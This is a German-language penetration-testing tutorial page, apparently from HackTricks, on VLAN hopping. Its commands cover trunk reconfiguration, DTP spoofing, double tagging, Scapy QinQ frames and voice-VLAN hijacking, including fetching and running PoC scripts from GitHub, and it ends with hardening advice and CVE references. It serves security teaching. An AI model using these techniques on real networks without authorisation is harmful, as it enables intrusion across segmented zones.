Lateral VLAN-Segmentierungsumgehung
Reading time: 8 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Wenn direkter Zugang zu einem Switch verfügbar ist, kann die VLAN-Segmentierung umgangen werden. Dies beinhaltet die Neukonfiguration des verbundenen Ports in den Trunk-Modus, das Einrichten virtueller Schnittstellen für Ziel-VLANs und das Festlegen von IP-Adressen, entweder dynamisch (DHCP) oder statisch, je nach Szenario (für weitere Details siehe https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).
Zunächst ist die Identifizierung des spezifischen verbundenen Ports erforderlich. Dies kann typischerweise durch CDP-Nachrichten oder durch die Suche nach dem Port über die include-Maske erreicht werden.
Wenn CDP nicht funktioniert, kann die Portidentifizierung versucht werden, indem nach der MAC-Adresse gesucht wird:
SW1(config)# show mac address-table | include 0050.0000.0500
Vor dem Wechsel in den Trunk-Modus sollte eine Liste der vorhandenen VLANs erstellt und deren Identifikatoren bestimmt werden. Diese Identifikatoren werden dann der Schnittstelle zugewiesen, um den Zugriff auf verschiedene VLANs über den Trunk zu ermöglichen. Der verwendete Port ist beispielsweise mit VLAN 10 verbunden.
SW1# show vlan brief
Der Übergang in den Trunk-Modus umfasst das Betreten des Schnittstellenkonfigurationsmodus:
SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
Der Wechsel in den Trunk-Modus wird vorübergehend die Konnektivität stören, aber dies kann anschließend wiederhergestellt werden.
Virtuelle Schnittstellen werden dann erstellt, VLAN-IDs zugewiesen und aktiviert:
# Legacy (vconfig) – still works but deprecated in modern kernels
sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up
# Modern (ip-link – preferred)
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.10 type vlan id 10
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip link set eth0.10 up
sudo ip link set eth0.20 up
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60
Anschließend wird eine Adressanforderung über DHCP gestellt. Alternativ können in Fällen, in denen DHCP nicht möglich ist, Adressen manuell konfiguriert werden:
sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
Beispiel für das manuelle Festlegen einer statischen IP-Adresse auf einer Schnittstelle (VLAN 10):
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
# or
sudo ip addr add 10.10.10.66/24 dev eth0.10
Die Konnektivität wird getestet, indem ICMP-Anfragen an die Standard-Gateways für die VLANs 10, 20, 50 und 60 gesendet werden.
Letztendlich ermöglicht dieser Prozess das Umgehen der VLAN-Segmentierung, wodurch ungehinderter Zugriff auf jedes VLAN-Netzwerk gewährt wird und die Grundlage für nachfolgende Aktionen geschaffen wird.
Andere VLAN-Hopping-Techniken (kein privilegierter Switch-CLI)
Die vorherige Methode setzt voraus, dass authentifizierter Zugriff auf die Konsole oder Telnet/SSH des Switches besteht. In realen Szenarien ist der Angreifer normalerweise mit einem normalen Zugangsport verbunden. Die folgenden Layer-2-Tricks ermöglichen es oft, seitlich zu pivotieren, ohne jemals in das Switch-Betriebssystem einzuloggen:
1. Switch-Spoofing mit Dynamic Trunking Protocol (DTP)
Cisco-Switches, die DTP aktiviert haben, verhandeln gerne einen Trunk, wenn der Peer behauptet, ein Switch zu sein. Das Erstellen eines einzigen DTP “desirable” oder “trunk” Frames verwandelt den Zugangsport in einen 802.1Q-Trunk, der alle erlaubten VLANs transportiert.
Yersinia und mehrere PoCs automatisieren den Prozess:
# Become a trunk using Yersinia (GUI)
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
git clone https://github.com/fleetcaptain/dtp-spoof.git
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
Recon-Helfer (passives Fingerprinting des DTP-Zustands des Ports):
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
# or
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
sudo python3 dtpscan.py -i eth0
Sobald der Port auf Trunk umschaltet, können Sie 802.1Q-Subschnittstellen erstellen und genau wie im vorherigen Abschnitt beschrieben pivotieren.
2. Double-Tagging (Native-VLAN-Missbrauch)
Wenn der Angreifer im native (untagged) VLAN sitzt, kann ein gestalteter Frame mit zwei 802.1Q-Headern zu einem zweiten VLAN springen, selbst wenn der Port im Access-Modus gesperrt ist. Tools wie VLANPWN DoubleTagging.py (2022-2025 Refresh) automatisieren die Injektion:
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
3. QinQ (802.1ad) Stacking
Viele Unternehmenskerne unterstützen Q-in-Q Service-Provider-Kapselung. Wo erlaubt, kann ein Angreifer beliebigen 802.1Q-getaggten Verkehr innerhalb eines Anbieters (S-Tag) tunneln, um Sicherheitszonen zu überqueren. Erfassen Sie für Ethertype 0x88a8
und versuchen Sie, das äußere Tag mit Scapy zu entfernen:
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
4. Voice-VLAN-Hijacking über LLDP/CDP (IP-Phone-Spoofing)
Corporate-Zugangsports befinden sich oft in einer „Access + Voice“-Konfiguration: untagged Daten-VLAN für den Arbeitsplatz und ein getaggtes Voice-VLAN, das über CDP oder LLDP-MED beworben wird. Durch die Nachahmung eines IP-Telefons kann der Angreifer automatisch das VoIP-VLAN entdecken und betreten – selbst wenn DTP deaktiviert ist.
VoIP Hopper (verpackt in Kali 2025.2) unterstützt CDP, DHCP-Optionen 176/242 und vollständiges LLDP-MED-Spoofing:
# One-shot discovery & hop
sudo voiphopper -i eth0 -f cisco-7940
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
sudo voiphopper -i eth0 -z
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
Die Technik umgeht die Trennung von Daten/Sprach und ist im Jahr 2025 auf Unternehmens-Edge-Switches äußerst verbreitet, da LLDP-Auto-Policy standardmäßig bei vielen Modellen aktiviert ist.
Defensive Empfehlungen
- Deaktivieren Sie DTP an allen benutzerorientierten Ports:
switchport mode access
+switchport nonegotiate
. - Ändern Sie das native VLAN an jedem Trunk in ein unbenutztes, Black-Hole-VLAN und taggen Sie es:
vlan dot1q tag native
. - Schneiden Sie unnötige VLANs an Trunks:
switchport trunk allowed vlan 10,20
. - Erzwingen Sie Portsicherheit, DHCP-Snooping, dynamische ARP-Inspektion und 802.1X, um unerwünschte Layer-2-Aktivitäten zu begrenzen.
- Deaktivieren Sie LLDP-MED-Auto-Sprachrichtlinien (oder sperren Sie sie auf authentifizierte MAC-OUI), wenn IP-Phone-Spoofing nicht erforderlich ist.
- Bevorzugen Sie private VLANs oder L3-Segmentierung, anstatt sich ausschließlich auf 802.1Q-Trennung zu verlassen.
Reale Anbieteranfälligkeiten (2022-2024)
Selbst eine perfekt gehärtete Switch-Konfiguration kann durch Firmware-Fehler untergraben werden. Jüngste Beispiele sind:
- CVE-2022-20728† – Cisco Aironet/Catalyst Access Points erlauben die Einspeisung vom nativen VLAN in nicht-native WLAN-VLANs und umgehen die kabelgebundene/kabellose Segmentierung.
- CVE-2024-20465 (Cisco IOS Industrial Ethernet) erlaubt ACL-Umgehung auf SVIs nach dem Umschalten des Resilient Ethernet Protocols, wodurch der Verkehr zwischen VRFs/VLANs geleakt wird. Patch 17.9.5 oder später.
Überwachen Sie stets die Anbieterhinweise zu VLAN-bezogenen Umgehungs-/ACL-Problemen und halten Sie die Infrastruktur-Images aktuell.
Referenzen
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- VLANPWN-Angriffswerkzeug – https://github.com/casterbytethrowback/VLANPWN
- Twingate "Was ist VLAN Hopping?" (Aug 2024) – https://www.twingate.com/blog/glossary/vlan%20hopping
- VoIP Hopper-Projekt – https://github.com/hmgh0st/voiphopper
- Cisco Advisory “cisco-sa-apvlan-TDTtb4FY” – https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.